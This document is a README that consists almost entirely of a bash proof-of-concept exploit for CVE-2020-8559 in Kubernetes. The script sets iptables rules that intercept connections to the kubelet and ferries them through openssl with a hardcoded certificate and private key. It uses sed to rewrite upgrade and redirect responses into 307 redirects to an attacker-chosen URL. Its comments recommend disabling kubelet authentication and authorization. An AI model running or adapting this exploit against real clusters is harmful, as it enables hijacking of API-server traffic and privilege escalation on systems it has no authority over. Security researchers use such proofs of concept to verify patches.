README.md
Rendering markdown...
#! /bin/bash
# POC-2020-8559
# Simple exploit for CVE-2020-8559. We steal
# all the connections to the kubelet using iptables
# then rewrite the 101 or 302 responses to 307.
#
# We don't have access to the kube-apiserver's
# x509 cert, so kubelet webhook auth can be a
# problem. No problem with this config fragment:
#authentication:
# anonymous:
# enabled: true
#authorization:
# mode: AlwaysAllow
########################################
# Parse options
# defaults
outputchain="no"
targeturl="http://127.0.0.1:8080/honk"
kubelethostport="127.0.0.1:10250"
honkhostport="0.0.0.0:20250"
certfile=""
privkeyfile=""
ishostport() {
echo "${1}" | grep "^[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\:[0-9][0-9]*$" >> /dev/null
exit $?
}
usage() {
cat <<-EOF
Usage: $0 [-o] [-t targeturl] [-k kubelethostport] [-h honkhostport] [-c certfile] [-p privatekeyfile]
-o Redirect OUTPUT chain, in addition to PREROUTING.
Needed for testing on single-node clusters.
Defaults:
targeturl: ${targeturl}
kubelethostport: ${kubelethostport}
honkhostport: ${honkhostport}
certfile: (hardcoded tempfile)
privatekeyfile: (hardcoded tempfile)
EOF
}
while getopts ":t:k:h:c:p:o" opt; do
case "${opt}" in
o )
outputchain="yes"
;;
t )
targeturl="${OPTARG}"
;;
k )
if `ishostport "${OPTARG}"` ; then
kubelethostport="${OPTARG}"
else
usage
echo
echo "-k requires an argument of the form X.X.X.X:YYY"
exit 1
fi
;;
h )
if `ishostport "${OPTARG}"` ; then
honkhostport="${OPTARG}"
else
usage
echo
echo "-k requires an argument of the form X.X.X.X:YYY"
exit 1
fi
;;
c )
if [ -r "${OPTARG}" ]; then
certfile="${OPTARG}"
else
usage
echo
echo "-c requires a cert file"
exit 1
fi
;;
p )
if [ -r "${OPTARG}" ]; then
privkeyfile="${OPTARG}"
else
usage
echo
echo "-p requires a private key file"
exit 1
fi
;;
: )
usage
exit 1
;;
\? )
usage
exit 1
;;
esac
shift $((OPTIND -1))
done
kubeletport=`echo "${kubelethostport}" | sed 's/^[0-9\.]*://'`
honkport=`echo "${honkhostport}" | sed 's/^[0-9\.]*://'`
# OpenSSL < 1.1 -accept requires only the port number
openssl s_server --help 2>&1 | grep 'port to accept on (default is 4433)' > /dev/null
if [ $? -eq 0 ]; then
honkhostport="${honkport}"
fi
########################################
# Set up our firewall rules
if [ x"${outputchain}" == "xyes" ]; then
iptables -t nat -I OUTPUT 1 -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}"
if [ $? -ne 0 ]; then
echo "Couldn't set OUTPUT iptables rule"
exit 255
fi
fi
iptables -t nat -I PREROUTING 1 -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}"
if [ $? -ne 0 ]; then
if [ x"${outputchain}" == "xyes" ]; then
iptables -t nat -D OUTPUT -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}"
fi
echo "Couldn't set PREROUTING iptables rule"
exit 255
fi
########################################
# Prep some work files
cleanup() {
if [ x"${outputchain}" == "xyes" ]; then
iptables -t nat -D OUTPUT -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}"
fi
iptables -t nat -D PREROUTING -p tcp --dport "${kubeletport}" \! -d 127.0.0.1 -j REDIRECT --to-port "${honkport}"
rm -r "${workdir}"
exit 1
}
trap cleanup INT
workdir=`mktemp -d`
fifo="${workdir}/fifo"
mkfifo "${fifo}"
if [ -z "${certfile}" ]; then
certfile="${workdir}/cert.pem"
cat <<-EOF > "${certfile}"
-----BEGIN CERTIFICATE-----
MIIDETCCAfkCFDGJub2NUVs9GXPCEmlLlLIg2LNOMA0GCSqGSIb3DQEBCwUAMEUx
CzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl
cm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMjAwNzE3MjE0MzQxWhcNMzAwNzE1MjE0
MzQxWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UE
CgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEArBTx9aIRlB/crQrW12+C0Y2DW/XEUgjIyW2Oun/JxcOM07tV
slFUTmpsGbsaArnkhGrzEh3m4cuF3jpvSCdDTPt1pIstNnjKYCBXmKlQjJCDaVXc
SY9P85ZMJfrfmJFrKljaOigCj8eJTae0mwFH6A/oER0MmPo6PnyNtrC31LV581ro
jBLyoZZdTSpyOIFzoEqndKAb+HsD7s7JCv+8HiYNa+qaDB4QR7x4wqq/Pgoa30/Y
s/sFJf9jPGGH/J76jUds724wuIOEe7KQ5hVff+/zbjtEWknrza50rTGU7wcr/3gh
zJqCKzD4Xx/nJduBWujKD4uVQqvQOIGiprSK1QIDAQABMA0GCSqGSIb3DQEBCwUA
A4IBAQAFscLn8zbFTuEPDQIV42o/K4tgq+Tlt3yLTXvvfi1oG5gJTLeWS7IxOzd7
PJVodJwOYA5bTq4Ng3xKUpjAcVeX1ZcMVTSKJtyiBP5IKIwMgB6H9vIvzSL0W2qr
9ONDQqr22C6INOQ+0xtqFtuMs4jeS14ptQRiQwVQ/HtVB4+ONsdN21oerB9lthor
yU1r7vn1EiyHACWPEHJQH/ImjQC9M57XtXROMWYQuo+Olbo6B3RwpPjMGeQ5NLV8
bVLjaPB+gNMy/h7x61PY/bJrEwOnqOEIOkHUMSn+YqwZMT4oELRoexTDFz3BtAxk
P+hBfSAW9yrUS6VDy9srW9PkIhqy
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsFPH1ohGUH9yt
CtbXb4LRjYNb9cRSCMjJbY66f8nFw4zTu1WyUVROamwZuxoCueSEavMSHebhy4Xe
Om9IJ0NM+3Wkiy02eMpgIFeYqVCMkINpVdxJj0/zlkwl+t+YkWsqWNo6KAKPx4lN
p7SbAUfoD+gRHQyY+jo+fI22sLfUtXnzWuiMEvKhll1NKnI4gXOgSqd0oBv4ewPu
zskK/7weJg1r6poMHhBHvHjCqr8+ChrfT9iz+wUl/2M8YYf8nvqNR2zvbjC4g4R7
spDmFV9/7/NuO0RaSevNrnStMZTvByv/eCHMmoIrMPhfH+cl24Fa6MoPi5VCq9A4
gaKmtIrVAgMBAAECggEAOEz6BQWrfq0WBD+hnwbK5EjKi5HTU4uwNcb0haw9lciv
EK8gEKFvVeCX0atXjUDItVJQiMLjwUhXWigANLkz2cID8XvfpQzMGbs7LaVnxzWY
6SPAWQjcfbPU4jA8a6xYRZigfZqNjAEauR9/hZ9bqV9a7A53Cq4D1GHn87fJzXux
MzdDF6JumWtcqM+rmiPKhbSf+6Blxypee7p3oOa232MjZCRXRFUhdNIepoVvTmh6
jigMlMtIlS0F1Ak3uA2SCQhqHdhWd6lkeFZigR9fIl+GyG4rcBaWwkZN5xwrWONI
gl/L9eu6Ndt7yEvUf4vI2nW4ryZOyj/pMwajJYQOGQKBgQDW7ZJUbxVbyG9gTUql
cYf8KwUH/PZ1NPY9ciZuLia9loep1pAnpx9wA+ZD6ZEjzbWJxbWEUbjl17kgtU+Y
F8d0uujvHOgSIrAktMgBGom4SOLNmWXnau5G92r32S3q/R5b3zowo8nfrPfUrB2H
CQZQ53YGCgSAbdIzTXCoIS/nRwKBgQDM907FdYmJnxSf96Hav5RVdhgRE+Ty0lJM
+AB/Z3UdHeKZpxMChCzPL8KVsOlmGKznvz1o+xTbORlbRt9dmY/WvQQ3sEDF4Irz
D+DbZl/VU8Tm43Wi3yTtrffWvLtnBm/yqH0ANMgh6boutbZQN5K7IjUM41JuJ12G
DjF/tpkDAwKBgDlicQFuL0u0NliGCnol1+LyMYOyfLNKkrxRMAWW+O0BtfMYwKB1
tKUZxW84e3INyHyidxZ/I1jqwhkDj97R6oU2Kl89XpEJBfKm+gehaEf13eh7HoQt
PrVf9gV6zRHCx0pMTaMS+CFqczkrQy78r90GD7MJFa6co9TixkN9qOadAoGAS86g
LLn3H5Zdu3iMPWqkAyPFbPONtx2A4QTMslJiZ115RNkdV83pAMwqTND80g0ITkJW
BTDwGtC4hyDkVisInySTncErg8QzwAg8YwkvIqhz5+1ywcWEVAAG7T4qlcU0vGwC
p4PeDWTzvnjosCyNsXbKZjThdOpMVduEBTdUyl8CgYEAsENT/xtl9AcWMpYul65g
1lEG1judUdl+gfiU7NOlttv1ExF0Yu+0LG30VYwDxCsmsJZSv2fdMasrUlLEV7DI
DwHzdZHFICyE9ab3oZ3la5BXuXEOVzJ9psTEt8ERbnI/Vd7CM4T2ngeTgxzxeuzF
6VgR/gjAITdpN96t/kLOVjE=
-----END PRIVATE KEY-----
EOF
fi
if [ -z "${privkeyfile}" ]; then
privkeyfile="${certfile}"
fi
########################################
# Loop forever, ferrying one TLS connection
# to the kubelet per invocation.
while true; do
openssl s_server -accept "${honkhostport}" -cert "${certfile}" -key "${privkeyfile}" -quiet -no_ign_eof -naccept 1 <"${fifo}" | \
openssl s_client -connect "${kubelethostport}" -quiet -no_ign_eof | \
sed -u -e 's/^Location.*$/X-Honk: Honk\r/' -e 's| [13]0[12] [SF][wo][iu][tn][cd].*$| 307 Temporary Redirect\r\nLocation: '"${targeturl}"'\r|' -e 's/^Connection.*$/X-Honk: Honk\r/' >> "${fifo}"
done